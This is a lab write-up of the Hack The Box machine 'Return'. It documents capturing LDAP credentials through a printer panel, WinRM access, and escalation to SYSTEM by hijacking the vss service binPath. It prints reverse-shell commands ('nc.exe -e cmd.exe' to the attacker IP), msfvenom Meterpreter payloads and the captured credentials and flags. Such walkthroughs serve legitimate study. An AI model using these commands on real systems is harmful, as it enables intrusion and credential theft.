



HACK THE BOX · WINDOWS

Return

Complete technical report ·
reproducible exploitation

Return machine solved

HTB Return · 2026-05-08

Machine	Return
Platform	Hack The Box
Status	Retired
Difficulty	Easy
System	Windows
Date	2026-05-08
Author	Ramon Santos Sabarich / r4ms4nt



Standardized technical report for archiving,
reference, and traceability.

READING GUIDE

Table of contents

Final technical report for the Return machine, organized for archiving, reference, and study.

1. Case introduction

2. Laboratory preparation and startup

Automated preparation

Connectivity and initial estimation

3. Initial port and service enumeration

Full port scan

Service scan

4. Dominant surface decision

Verified facts

Didactic explanation

5. Initial SMB enumeration

Relevant result

Interpretation

6. Review of the web panel

Download and initial reading

Initial error with the `/settings` route

Lesson from this point

7. LDAP configuration extraction from `settings.php`

Requesting the correct route

Key form evidence

Interpretation

8. LDAP credential capture

Preparing the attacker IP

Controlled LDAP listener

Sending the form with a controlled LDAP server

Result obtained

Technical interpretation

9. Credential validation through WinRM

Quick check with NetExec

Interactive access

Context error: Linux commands in PowerShell

10. Initial local enumeration and user flag

Identity, SID, and groups

Didactic reading

First flag

11. Escalation analysis: Server Operators and the `vss` service

Why `vss` was reviewed

Initial service tests

Service control validation

Confirmation of `binPath` modification

12. File-based validation attempts and issues encountered

Initial `whoami` test

Quoting and redirection issues

Using `--%` in PowerShell

Interpretation

13. First tactical change: `nc.exe` as a reverse shell

Binary preparation

Context error: searching in Parrot from Evil-WinRM

Correct location of `nc.exe`

Listener and `vss` modification

Stability issue

14. Second tactic: Meterpreter x86

Payload generation

Metasploit handler

Upload and execution

Interpretation

15. Third tactic: x64 Meterpreter with automatic migration

x64 payload generation

x64 handler configuration

Binary upload

First x64 attempt

Automatic migration

SYSTEM confirmation

16. Root flag and cleanup

Reading the final flag

Final service restoration

17. Final technical summary

Validated chain

Flags

18. Reusable lessons

18.1. A simple panel can be more important than broad AD enumeration

18.2. Printer panels often integrate with LDAP or SMB

18.3. A found credential is not the same as final access

18.4. In Windows, groups matter as much as the user

18.5. `sc.exe qc` must accompany `sc.exe config`

18.6. Error 1053 does not necessarily invalidate execution

18.7. Separating local and remote context avoids errors

18.8. Meterpreter requires its own commands

18.9. Stability may require migration

18.10. Restoring the service is part of the technical closure

19. Discarded or undeveloped points

SMB without credentials

SeBackupPrivilege / SeRestorePrivilege

File-based validation

1. Case introduction

Return is an easy-difficulty Windows machine whose compromise chain relies on an insecure configuration in a printer administration panel. The entry point was not a version-based exploit or a complex Active Directory vulnerability, but an operational misconfiguration: the panel allowed the configured LDAP server to be modified and, when doing so, the backend attempted to authenticate against the new destination using a service account.

The full resolution was structured through this chain:

```
Printer administration panel on IIS
→ visible LDAP configuration
→ LDAP server changed to the attacker IP
→ svc-printer credentials captured
→ WinRM validation
→ shell as return\svc-printer
→ membership in Server Operators
→ modification of the vss service binPath
→ execution as LocalSystem
→ x64 Meterpreter session stabilized through migration
→ NT AUTHORITY\SYSTEM
→ root.txt read
→ vss service restored
```

The machine teaches three especially important ideas:

1. An apparently simple panel can contain domain-integration settings that are worth more than generic web enumeration.
2. In Windows, the compromised user's groups are decisive. In this case, `Server Operators` was the finding that turned a service account into a privilege-escalation path.
3. Service-based exploitation requires traceability: document the original service, modify it, execute it, confirm the context, and restore it.

2. Laboratory preparation and startup

Automated preparation

The machine was started with the custom `Inici-HTB` script, used to organize the working environment, validate connectivity, and generate initial evidence:

```
Inici-HTB Return 10.129.95.241 easy
```

This step is not part of the exploitation. Its purpose is to prepare the case for methodical work:

- create the directory structure;
- check connectivity;
- estimate the operating system;
- launch a full port scan;
- extract open ports;
- run service enumeration;

- generate an initial note with the suggested dominant surface;
- leave a single next step.

The expected case structure was oriented toward separating evidence and later actions:

```
Return/  
├── content/  
├── exploits/  
├── nmap/  
│   ├── allPorts  
│   ├── extractPorts.txt  
│   ├── nmap_tcp_services.txt  
│   ├── ping.txt  
│   └── whichSystem.txt  
└── notes/  
    ├── 00_resumen_inicial.md  
    └── 01_siguiente_paso.txt
```

The didactic reading of this phase is simple: before looking for a vulnerability, it is necessary to know what surface actually exists. This way of working avoids opening branches by intuition and forces decisions based on evidence.

Connectivity and initial estimation

Connectivity was correct:

```
64 bytes from 10.129.95.241: icmp_seq=1 ttl=127 time=48.3 ms
```

The TTL-based estimate suggested Windows:

```
10.129.95.241 (ttl -> 127): Windows
```

This signal should not be treated as an absolute truth, but as a reasonable clue. In this case, it was consistent with the rest of the later enumeration.

3. Initial port and service enumeration

Full port scan

The full scan detected an extensive surface clearly associated with Windows/Active Directory:

```
53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49678,49681,49697,49723
```

Relevant ports:

Port	Service	Technical reading
53	DNS	Common signal in a domain controller or domain environment
80	HTTP / IIS	Visible web panel
88	Kerberos	Domain authentication
389 / 636	LDAP / LDAPS	Active Directory directory services
445	SMB	Shares / domain
5985	WinRM	Remote PowerShell access if credentials are available
9389	ADWS	Active Directory Web Services
47001	HTTPAPI / auxiliary WinRM	Auxiliary Microsoft service, not the business web application

The surface could have suggested a pure AD branch, but port **80** returned a very specific title:

```
http-title: HTB Printer Admin Panel
```

This changed the work priority. It was not a generic website, but an application with a possible direct relationship to the domain infrastructure.

Service scan

Nmap confirmed:

```
80/tcp    open  http           Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel

88/tcp    open  kerberos-sec   Microsoft Windows Kerberos
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: return.local0.)
445/tcp   open  microsoft-ds?
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf         .NET Message Framing
```

The host was also identified as **PRINTER**:

```
Service Info: Host: PRINTER; OS: Windows
```

SMB signing was required:

```
Message signing enabled and required
```

A time skew was also observed:

```
clock-skew: 18m33s
```

In an advanced Kerberos chain, the `clock-skew` could be critical. In this case it was not the main path, but it was correctly recorded as contextual data.

4. Dominant surface decision

Verified facts

The machine exposed domain services, but also an HTTP panel with a specific name:

```
HTB Printer Admin Panel
```

The initial decision was:

```
Dominant surface:  
Windows / Active Directory with an IIS printer web panel on port 80.
```

```
Main branch:  
WEB-BASE oriented toward the printer administration panel.
```

```
Secondary branches:  
AD / SMB / LDAP / Kerberos.  
WinRM pending credentials.  
SMB pending anonymous-access or domain-information checks.
```

Didactic explanation

On a host with Kerberos, LDAP, SMB, and WinRM, the Active Directory branch must be kept in mind. However, the printer panel was more actionable at that moment because it offered a concrete, browsable surface potentially connected to LDAP.

Corporate printer panels often store settings such as:

- LDAP server;
- SMB server;
- domain;
- service user;
- password or integration secret;
- scan or storage paths.

Therefore, before forcing SMB, Kerberos, or WinRM, it made sense to review the web panel and look for reusable configuration.

5. Initial SMB enumeration

`enum4linux` was executed to check whether SMB provided useful information without credentials:


```
enum4linux -a 10.129.95.241 | tee content/enum4linux_return.txt
```

Relevant result

The tool confirmed the domain:

```
Domain Name: RETURN  
Domain Sid: S-1-5-21-3750359090-2939318659-876128439  
[+] Host is part of a domain (not a workgroup)
```

However, the useful queries failed due to permissions:

```
NT_STATUS_ACCESS_DENIED
```

The following were not obtained:

- users;
- useful shares;
- password policy;
- RID cycling;
- printer information through spoolss.

Interpretation

SMB was useful to confirm domain context, but it did not open an operational path without credentials. It therefore remained a secondary branch.

This phase illustrates an important distinction: a tool confirming a partial session or minimal information does not mean that branch is exploitable. Here SMB provided context, not access.

6. Review of the web panel

Download and initial reading

The main page was downloaded:

```
curl -sS -D content/http_root_headers.txt http://10.129.95.241/ -o content/http_root.html
```

Useful references were then filtered:

```
grep -Ei 'href|settings|printer|ldap|server|username|password|domain|port' content/http_root.html
```

The output confirmed the panel title and showed internal links:

```
<title>HTB Printer Admin Panel</title>  
<a href="index.php" data-link="true">Home</a>  
<a href="settings.php" data-link="true">Settings</a>
```

```
<a href="javascript:void(0)" data-link="true">Fax</a>
<a href="javascript:void(0)" data-link="true">Troubleshooting</a>
```

Initial error with the `/settings` route

The first test was:

```
curl -sS -D content/http_settings_headers.txt http://10.129.95.241/settings -o content/http_settings.html
```

The result was an error:

```
<div id="header"><h1>Server Error</h1></div>
```

This result did not discard the configuration section. The HTML had shown the exact route `settings.php`, not `/settings`.

Lesson from this point

A route error must not be turned into branch dismissal. The real link was in the HTML. The correct validation was to follow the observed route:

```
settings.php
```

7. LDAP configuration extraction from `settings.php`

Requesting the correct route

The configuration page was downloaded:

```
curl -sS -D content/http_settings_php_headers.txt http://10.129.95.241/settings.php -o content/http_settings_php.html
```

Relevant fields were filtered:

```
grep -Ei 'server|address|port|user|username|password|domain|ldap|smb|printer|value|=|input|form|update' content/http_settings_php.html
```

The full form was extracted:

```
sed -n '/<form/,/<\form>/p' content/http_settings_php.html
```

Key form evidence

The page responded correctly:

```
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.13
```

The form used the `POST` method:

```
<form action="" method="POST">
```

The truly modifiable field was:

```
<input type="text" name="ip" value="printer.return.local"/>
```

And the panel showed LDAP configuration:

```
Server Address: printer.return.local
Server Port: 389
Username: svc-printer
Password: *****
```

Interpretation

This was the first truly exploitable finding of the case. The panel not only showed a service user, but allowed the LDAP server to be modified through the `ip` parameter.

That opened a very concrete hypothesis:

```
If the backend tries to validate or save the new configuration,
it may connect to the indicated LDAP server using svc-printer.
```

The next step was not to guess the password, but to observe whether the target itself sent it when configuring a controlled LDAP server.

8. LDAP credential capture

Preparing the attacker IP

First, the VPN interface IP was obtained:

```
ip -4 addr show tun0 | awk '/inet /{print $2}' | cut -d/ -f1
```

Result:

```
10.10.15.26
```

Controlled LDAP listener

Because the panel indicated LDAP port `389`, a listener was started on that port:

```
sudo nc -lvnp 389 | tee content/ldap_capture_svc_printer.txt
```

Sending the form with a controlled LDAP server

The form submission was reproduced by modifying only the real observed parameter:

```
curl -sS -i -X POST http://10.129.95.241/settings.php \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'ip=10.10.15.26' \  
| tee content/settings_update_response.txt
```

Result obtained

The listener received a connection from the target:

```
connect to [10.10.15.26] from (UNKNOWN) [10.129.95.241] 49980
```

The identity appeared inside the flow:

```
return\svc-printer
```

And the password:

```
1edFg43012!!
```

Technical interpretation

The application attempted to authenticate against the configured LDAP server and sent the credential for `svc-printer`.

The finding changed the main branch:

```
Exposed panel configuration  
→ domain credential recovered  
→ validation against remote services
```

System access was not assumed yet. The credential had to be validated against existing services. WinRM was the strongest candidate because it was already open on `5985`.

9. Credential validation through WinRM

Quick check with NetExec

The credential was validated against WinRM:

```
netexec winrm 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
```

Result:

```
WINRM 10.129.95.241 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)  
WINRM 10.129.95.241 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
```

Interactive access

A session was opened with Evil-WinRM:

```
evil-winrm -i 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!!'
```

The effective identity was confirmed:

```
whoami
```

```
return\svc-printer
```

Context error: Linux commands in PowerShell

During the session, commands such as `id` and `ls -la` were executed even though they do not belong to PowerShell:

```
The term 'id' is not recognized
A parameter cannot be found that matches parameter name 'la'
```

This did not affect exploitation, but it left a useful operational lesson. When entering through WinRM, the operator is working in PowerShell, not in a Linux shell.

Practical equivalents:

Linux	PowerShell / Windows
<code>id</code>	<code>whoami /user</code>
<code>groups</code>	<code>whoami /groups</code>
<code>ls -la</code>	<code>Get-ChildItem -Force</code>
<code>pwd</code>	<code>Get-Location</code> or <code>pwd</code>
<code>cat file</code>	<code>type file</code> or <code>Get-Content file</code>

10. Initial local enumeration and user flag

Identity, SID, and groups

From Evil-WinRM, the context was documented:

```
hostname
whoami /user
whoami /groups
whoami /priv
```

Host:

```
printer
```

User:

```
return\svc-printer
```

SID:

```
S-1-5-21-3750359090-2939318659-876128439-1103
```

Relevant groups:

```
BUILTIN\Server Operators  
BUILTIN\Print Operators  
BUILTIN\Remote Management Users
```

Relevant enabled privileges:

```
SeMachineAccountPrivilege  
SeLoadDriverPrivilege  
SeBackupPrivilege  
SeRestorePrivilege  
SeShutdownPrivilege  
SeRemoteShutdownPrivilege
```

Didactic reading

`Remote Management Users` explains the WinRM access. Without that permission, a valid domain credential would not necessarily have allowed a remote shell.

`Server Operators` was the key privilege-escalation finding. This group can operate certain system services. If a user can modify the execution path of a service running as `LocalSystem`, that ability can be turned into privileged execution.

`SeBackupPrivilege` and `SeRestorePrivilege` were also interesting, but they remained secondary branches because `Server Operators` offered a more direct path coherent with the case.

First flag

The user desktop was reviewed:

```
Get-ChildItem -Force C:\Users\svc-printer\Desktop
```

`user.txt` was found:

```
-ar--- 5/8/2026 5:06 AM 34 user.txt
```

And read:

```
Get-Content C:\Users\svc-printer\Desktop\user.txt
```

Result:

```
46a4f8c3e5bba0afe3432d836dc35450
```


11. Escalation analysis: Server Operators and the `vss` service

Why `vss` was reviewed

The escalation hypothesis was:

```
svc-printer belongs to Server Operators
→ can operate services
→ if a service runs as LocalSystem and can be modified
→ a controlled binary can be executed as SYSTEM
```

The `vss` service was chosen first because it is a known Windows service, on demand, and in this machine it allowed querying and manipulation.

Initial service tests

A global Service Control Manager query failed:

```
sc.exe query
```

```
[SC] OpenSCManager FAILED 5:
Access is denied.
```

However, the specific `vss` query worked:

```
sc.exe qc vss
```

Relevant output:

```
SERVICE_NAME: vss
START_TYPE   : 3    DEMAND_START
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe
SERVICE_START_NAME : LocalSystem
```

The WMI query using `Get-CimInstance` failed due to permissions:

```
Access denied
```

But `sc.exe` provided the necessary information.

Service control validation

The service was stopped:

```
sc.exe stop vss
```

```
[SC] ControlService FAILED 1062:  
The service has not been started.
```

It could be started:

```
sc.exe start vss
```

```
STATE : 2 START_PENDING  
PID   : 2528
```

And then appeared as **RUNNING** :

```
sc.exe query vss
```

```
STATE : 4 RUNNING
```

Confirmation of `binPath` modification

The critical test was to modify `BINARY_PATH_NAME` while keeping the original value:

```
sc.exe config vss binPath= "C:\Windows\system32\vssvc.exe"
```

Result:

```
[SC] ChangeServiceConfig SUCCESS
```

This result validated that `svc-printer` could modify the service configuration.

The combination was enough to justify the path:

```
modifiable service  
+ service executed as LocalSystem  
+ ability to start/stop the service  
= privileged execution primitive
```

12. File-based validation attempts and issues encountered

Initial `whoami` test

A simple command was attempted through the service:

```
sc.exe config vss binPath= "cmd.exe /c whoami > C:\Users\svc-printer\Documents\whoami_system.txt"  
sc.exe start vss
```

The service returned:

```
[SC] StartService FAILED 1053:  
The service did not respond to the start or control request in a timely fashion.
```

This error was expected: `cmd.exe /c whoami` is not a real Windows service. The Service Control Manager expects the process to behave as a service; a one-shot command exits quickly or does not respond to the expected protocol.

The file was created, but empty:

```
Length Name  
-----  
0      whoami_system.txt
```

Quoting and redirection issues

The syntax was improved with quotes and error redirection:

```
sc.exe config vss binPath= 'C:\Windows\System32\cmd.exe /c "whoami > C:\Windows\Temp\whoami_system.txt 2>&1"'
```

But `sc.exe` returned its usage help, indicating that the command had not been applied:

```
USAGE:  
sc <server> config [service name] <option1> <option2>...
```

The lesson here was important: when `sc.exe` displays usage help, nothing should be assumed to have been applied. It must always be confirmed with:

```
sc.exe qc vss
```

Using `--%` in PowerShell

To prevent PowerShell from interpreting redirections and quotes, the stop-parsing operator was used:

```
sc.exe --% config vss binPath= "C:\Windows\System32\cmd.exe /c echo prueba_servicio > C:\Windows\Temp\svc_test.txt"
```

The configuration was applied:

```
[SC] ChangeServiceConfig SUCCESS  
BINARY_PATH_NAME : C:\Windows\System32\cmd.exe /c echo prueba_servicio > C:\Windows\Temp\svc_test.txt  
SERVICE_START_NAME : LocalSystem
```

The service again returned `1053`, but the file existed. The issue was that the user could not read it:

```
Access to the path 'C:\Windows\Temp\svc_test.txt' is denied.
```

Interpretation

These attempts did not invalidate the technique. On the contrary, they confirmed that:

- the `binPath` could be changed;

- the service attempted to execute the configured value;
- error `1053` was not a discard criterion;
- file redirection added too much friction due to syntax and permissions.

The correct decision was to abandon file-based validation and move to a reverse connection.

13. First tactical change: `nc.exe` as a reverse shell

Binary preparation

Initially, `nc.exe` was uploaded from an absolute path:

```
upload /usr/share/windows-resources/binaries/nc.exe
```

Evil-WinRM interpreted it as a path relative to the local laboratory directory:

```
/home/r4mon/pentest/targets/HTB/easy/Return/usr/share/windows-resources/binaries/nc.exe
```

and failed:

```
No such file or directory
```

`upload nc.exe` was also attempted, but the file did not yet exist in the local directory:

```
No such file or directory /home/r4mon/pentest/targets/HTB/easy/Return/nc.exe
```

Context error: searching in Parrot from Evil-WinRM

A Linux command was accidentally executed inside remote PowerShell:

```
find /usr/share -type f -iname 'nc.exe' 2>/dev/null
```

PowerShell interpreted `/dev/null` as a Windows path:

```
Could not find a part of the path 'C:\dev\null'
```

This was a useful operational error to document. The contexts had to be clearly separated:

```
Local Parrot terminal ≠ remote PowerShell session through Evil-WinRM
```

Correct location of `nc.exe`

The binary was searched from the local Parrot terminal:

```
find /usr/share -type f -iname 'nc.exe' 2>/dev/null
```

Result:

```
/usr/share/SecLists/SecLists/Web-Shells/FuzzDB/nc.exe  
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
```

It was copied to the laboratory directory:

```
cp -v /usr/share/seclists/Web-Shells/FuzzDB/nc.exe ./nc.exe
```

It was verified:

```
ls -lh ./nc.exe
```

```
28 KB ./nc.exe
```

Now it could be uploaded:

```
upload nc.exe
```

Result:

```
Data: 37544 bytes of 37544 bytes copied  
Info: Upload successful!
```

And confirmed on the victim:

```
Get-ChildItem -Force C:\Users\svc-printer\Documents\nc.exe
```

```
28160 nc.exe
```

Listener and vss modification

A listener was opened in Parrot:

```
r1wrap -cAr nc -lvnp 1234
```

```
listening on [any] 1234 ...
```

vss was configured to execute nc.exe :

```
sc.exe config vss binPath= "C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.15.26 1234"
```

It was confirmed:

```
sc.exe qc vss
```

```
BINARY_PATH_NAME : C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.15.26 1234  
SERVICE_START_NAME : LocalSystem
```

When the service was started, a connection arrived:

```
connect to [10.10.15.26] from (UNKNOWN) [10.129.95.241] 62773  
Microsoft Windows [Version 10.0.17763.107]  
C:\Windows\system32>
```

Stability issue

The shell dropped before `whoami` could be confirmed.

This was enough to confirm that the service executed the binary, but not a stable session. The service was restored:

```
sc.exe config vss binPath= "C:\Windows\system32\vssvc.exe"  
sc.exe qc vss
```

Confirmation:

```
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe  
SERVICE_START_NAME : LocalSystem
```

14. Second tactic: Meterpreter x86

Payload generation

`msfvenom` availability was checked:

```
which msfvenom
```

```
/usr/bin/msfvenom
```

A Windows x86 payload was generated:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.26 LPORT=1337 -f exe -o shell.exe
```

Result:

```
Payload size: 354 bytes  
Final size of exe file: 73802 bytes  
Saved as: shell.exe
```

The binary was verified:

```
ls -lh ./shell.exe
```



```
72 KB ./shell.exe
```

Metasploit handler

Metasploit was opened and the handler loaded:

```
use exploit/multi/handler
```

Metasploit initially selected a generic payload:

```
generic/shell_reverse_tcp
```

It was corrected to match the binary:

```
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.26
set LPORT 1337
show options
```

Relevant options:

```
Payload options (windows/meterpreter/reverse_tcp):
LHOST 10.10.15.26
LPORT 1337
```

The handler was started:

```
run
```

```
Started reverse TCP handler on 10.10.15.26:1337
```

Upload and execution

The binary was uploaded:

```
upload shell.exe
```

Result:

```
Data: 98400 bytes of 98400 bytes copied
Info: Upload successful!
```

It was confirmed on the victim:

```
Get-ChildItem -Force C:\Users\svc-printer\Documents\shell.exe
```

```
73802 shell.exe
```

vss was configured:

```
sc.exe config vss binPath= "C:\Users\svc-printer\Documents\shell.exe"
```

Confirmation:

```
BINARY_PATH_NAME : C:\Users\svc-printer\Documents\shell.exe  
SERVICE_START_NAME : LocalSystem
```

When the service was started, Metasploit received a session:

```
Meterpreter session 1 opened (10.10.15.26:1337 -> 10.129.95.241:53876)
```

But it died immediately:

```
Meterpreter session 1 closed. Reason: Died
```

Interpretation

Execution was confirmed, but stability was still insufficient. The next hypothesis was that the x86 payload was not the best fit for a 64-bit Windows Server 2019 machine.

`vss` was restored again.

15. Third tactic: x64 Meterpreter with automatic migration

x64 payload generation

An x64 executable was generated:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.26 LPORT=4444 -f exe -o shell64.exe
```

Result:

```
Payload size: 510 bytes  
Final size of exe file: 7168 bytes  
Saved as: shell64.exe
```

It was verified:

```
ls -lh ./shell64.exe
```

```
7.0 KB ./shell64.exe
```

x64 handler configuration

In Metasploit:

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.15.26
set LPORT 4444
show options
```

Options:

```
Payload options (windows/x64/meterpreter/reverse_tcp):
LHOST 10.10.15.26
LPORT 4444
```

The handler was started:

```
run
```

```
Started reverse TCP handler on 10.10.15.26:4444
```

Binary upload

shell64.exe was uploaded:

```
upload shell64.exe
```

Result:

```
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
```

It was verified on the victim:

```
Get-ChildItem -Force C:\Users\svc-printer\Documents\shell64.exe
```

```
7168 shell64.exe
```

First x64 attempt

vss was configured:

```
sc.exe config vss binPath= "C:\Users\svc-printer\Documents\shell64.exe"
```

It was confirmed:

```
BINARY_PATH_NAME : C:\Users\svc-printer\Documents\shell64.exe
SERVICE_START_NAME : LocalSystem
```

The session opened, but another context error occurred: `whoami` was attempted inside Meterpreter.

```
[-] Unknown command: whoami. Run the help command for more details.
```

The correct command in Meterpreter was:

```
getuid
```

The session died before this could be confirmed.

Automatic migration

To prevent the session from dying before manual migration, automatic migration was configured in Metasploit:

```
set AutoRunScript post/windows/manage/migrate
```

Result:

```
AutoRunScript => post/windows/manage/migrate
```

The handler was relaunched:

```
run
```

```
Started reverse TCP handler on 10.10.15.26:4444
```

`vss` was configured again with `shell64.exe` and the service was started.

Metasploit received the session and migrated automatically:

```
Session ID 3 (10.10.15.26:4444 -> 10.129.95.241:49652) processing AutoRunScript 'post/windows/manage/migrate'
Running module against PRINTER
Current server process: shell64.exe (3856)
Spawning notepad.exe process to migrate into
Migrating into 688
[+] Successfully migrated into process 688
Meterpreter session 3 opened
```

SYSTEM confirmation

In Meterpreter, the correct command was used:

```
getuid
```

Result:

```
Server username: NT AUTHORITY\SYSTEM
```

Privilege escalation was confirmed.

16. Root flag and cleanup

Reading the final flag

From Meterpreter:

```
cat C:\\Users\\Administrator\\Desktop\\root.txt
```

Result:

```
19e7fb0b6df382040351bcfd3a9cd6ce
```

Final service restoration

After obtaining the final flag, `vss` was restored:

```
sc.exe config vss binPath= "C:\\Windows\\system32\\vssvc.exe"
```

Result:

```
[SC] ChangeServiceConfig SUCCESS
```

It was confirmed:

```
sc.exe qc vss
```

```
BINARY_PATH_NAME : C:\\Windows\\system32\\vssvc.exe  
SERVICE_START_NAME : LocalSystem
```

This restoration is an important part of traceability. The exploitation temporarily modified a sensitive system configuration; the proper closure requires demonstrating that the service returned to its original state.

17. Final technical summary

Validated chain

1. Initial enumeration:
Windows / AD / IIS / WinRM / LDAP / SMB.
2. Dominant surface:
Printer web panel on IIS.
3. Web finding:
settings.php exposes LDAP configuration.
4. Initial primitive:
The Server Address field can be modified through POST using the ip parameter.

5. Capture:
By pointing the LDAP server to the attacker IP, the target sends credentials.
6. Recovered credential:
return\svc-printer : ledFg43012!!
7. Validation:
WinRM accepts the credential.
8. Access:
Evil-WinRM as return\svc-printer.
9. Local finding:
svc-printer belongs to Server Operators.
10. Escalation:
vss runs as LocalSystem and allows binPath modification.
11. Execution:
shell64.exe executed through vss.
12. Stabilization:
x64 Meterpreter + AutoRunScript migrate.
13. Privileges:
NT AUTHORITY\SYSTEM.
14. Closure:
root.txt read and vss restored.

Flags

```
user.txt: 46a4f8c3e5bba0afe3432d836dc35450
root.txt: 19e7fb0b6df382040351bcfd3a9cd6ce
```

18. Reusable lessons

18.1. A simple panel can be more important than broad AD enumeration

Although the machine exposed many domain services, the real path began in the web panel. The key was not to treat HTTP as secondary just because Kerberos or LDAP existed.

Reusable pattern:

```
Corporate panel
→ integration configuration
→ modifiable server
→ outbound authentication
→ credential capture
```

18.2. Printer panels often integrate with LDAP or SMB

A corporate multifunction printer may need to:

- query users in LDAP;
- save scans to shares;
- authenticate against the domain;
- use service accounts.

For that reason, a `Settings` section with `Server Address`, `Server Port`, `Username`, and `Password` must be treated as a sensitive finding.

18.3. A found credential is not the same as final access

The `svc-printer` password became real access only after it was validated against WinRM:

```
netexec winrm 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
```

The check separated:

```
observed credential  
→ valid credential  
→ credential exploitable through WinRM
```

18.4. In Windows, groups matter as much as the user

`svc-printer` was not a direct administrator, but it belonged to `Server Operators`. That membership allowed service manipulation.

Key command:

```
whoami /groups
```

The group output was more important than the contents of the user directory.

18.5. `sc.exe qc` must accompany `sc.exe config`

Every service change was validated with:

```
sc.exe qc vss
```

This avoided assuming that a modification had worked when `sc.exe` had only displayed usage help.

Recommended pattern:

```
sc.exe config ...  
→ check ChangeServiceConfig SUCCESS  
→ sc.exe qc ...  
→ confirm BINARY_PATH_NAME  
→ start service
```

18.6. Error 1053 does not necessarily invalidate execution

When running commands that are not real services, `sc.exe start` may return:

```
StartService FAILED 1053
```

In this case, the error did not mean execution was impossible. It meant that the launched process did not respond like a Windows service.

The real indicator had to be:

- file created;

- connection received;
- session opened;
- context confirmed.

18.7. Separating local and remote context avoids errors

A mistake occurred when a Linux command was executed inside Evil-WinRM:

```
find /usr/share -type f -iname 'nc.exe' 2>/dev/null
```

PowerShell tried to interpret `/dev/null` as `C:\dev\null`.

Lesson:

```
Parrot terminal:
find, cp, msfvenom, msfconsole, nc listener.

Evil-WinRM:
remote PowerShell, sc.exe, Get-ChildItem, upload.

Meterpreter:
getuid, cat, migrate, ps.
```

18.8. Meterpreter requires its own commands

Inside Meterpreter, `whoami` is not the proper command:

```
[*] Unknown command: whoami
```

To confirm the user, use:

```
getuid
```

18.9. Stability may require migration

The `nc.exe` shell and the first Meterpreter sessions died quickly. The stable session arrived when these were combined:

```
x64 payload
+ correct handler
+ AutoRunScript post/windows/manage/migrate
```

Automatic migration allowed the session to leave the initial `shell64.exe` process and move into a more stable process:

```
[+] Successfully migrated into process 688
```

18.10. Restoring the service is part of the technical closure

After modifying `vss`, the proper closure was to restore:

```
sc.exe config vss binPath= "C:\Windows\system32\vssvc.exe"
sc.exe qc vss
```

Final confirmation:

```
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe  
SERVICE_START_NAME : LocalSystem
```

19. Discarded or undeveloped points

SMB without credentials

SMB confirmed the `RETURN` domain, but did not allow useful enumeration without credentials. It remained a secondary branch and did not need to be revisited to complete the machine.

SeBackupPrivilege / SeRestorePrivilege

The user had interesting privileges such as `SeBackupPrivilege` and `SeRestorePrivilege`, but they were not developed because the `Server Operators` path was direct and sufficient.

File-based validation

Validation through `whoami` redirection to a file proved noisy due to quoting issues, `1053`, and read-permission problems. It was correctly abandoned in favor of a reverse session.

